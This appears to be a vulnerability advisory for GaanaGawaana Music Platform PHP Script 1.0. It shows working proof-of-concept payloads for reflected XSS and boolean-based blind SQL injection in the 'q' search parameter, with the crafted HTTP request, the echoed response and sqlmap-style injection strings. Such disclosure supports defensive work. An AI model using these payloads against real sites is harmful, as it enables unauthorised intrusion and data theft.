Headline
GaanaGawaana Music Platform PHP Script 1.0 Cross Site Scripting / SQL Injection
GaanaGawaana Music Platform PHP Script version 1.0 suffers from cross site scripting and remote SQL injection vulnerabilities.
## Title: GaanaGawaana - Music Platform PHP Script-1.0 XSS-Reflectedand SQLi Vulnerability## Author: nu11secur1ty## Date: 05.16.2023## Vendor: https://www.codester.com/## Software: https://www.codester.com/items/27270/gaanagawaana-music-platform-php-script## Reference XSS: https://portswigger.net/web-security/cross-site-scripting## Reference SQLi: https://portswigger.net/web-security/sql-injection## Description:XSS: The value of the q request parameter is copied into the HTMLdocument as text between TITLE tags. The payloadaw9rx</title><script>alert(1)</script>rg1m6 was submitted in the qparameter. This input was echoed unmodified in the application'sresponse.--------------------------------------------------------------------------------------------------------------------------------SQLi: The q parameter appears to be vulnerable to SQL injectionattacks. The payloads 70346811' or 7218=7218-- and 18028207' or8587=8593-- were each submitted in the q parameter. These two requestsresulted in different responses, indicating that the input is beingincorporated into a SQL query in an unsafe way.STATUS: CRITICAL Vulnerability[+]Exploit-XSS-test:```XSSGET /search?q=aw9rx%3c%2ftitle%3e%3cscript%3ealert(1)%3c%2fscript%3erg1m6 HTTP/2Host: gaanagawaana.codesler.comAccept-Encoding: gzip, deflateAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US;q=0.9,en;q=0.8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.93Safari/537.36Connection: closeCache-Control: max-age=0Upgrade-Insecure-Requests: 1Sec-CH-UA: ".Not/A)Brand";v="99", "Google Chrome";v="113", "Chromium";v="113"Sec-CH-UA-Platform: WindowsSec-CH-UA-Mobile: ?0Content-Length: 0```[+]Response-XSS-test:```HTTP/2 200 OKCache-Control: no-store, max-age=0, no-cacheDate: Tue, 16 May 2023 06:39:12 GMTContent-Type: text/html; charset=UTF-8Server: Apache<html><head><title>aw9rx</title><script>alert(1)</script>rg1m6's Song Download,Listen & Lyrics</title><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">```--------------------------------------------------------------------[+]Payload-SQLi:```SQLi---Parameter: q (GET) Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause Payload: q=-5722%' OR 2476=2476 AND 'nMde%'='nMde---```## Reproduce:[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/codester/2023/GaanaGawaana-Music-Platform-PHP-Script-1.0)## Proof and Exploit:[href](https://www.nu11secur1ty.com/2023/05/gaanagawaana-10-xss-reflected-sqli-for.html)## Time spend:01:10:00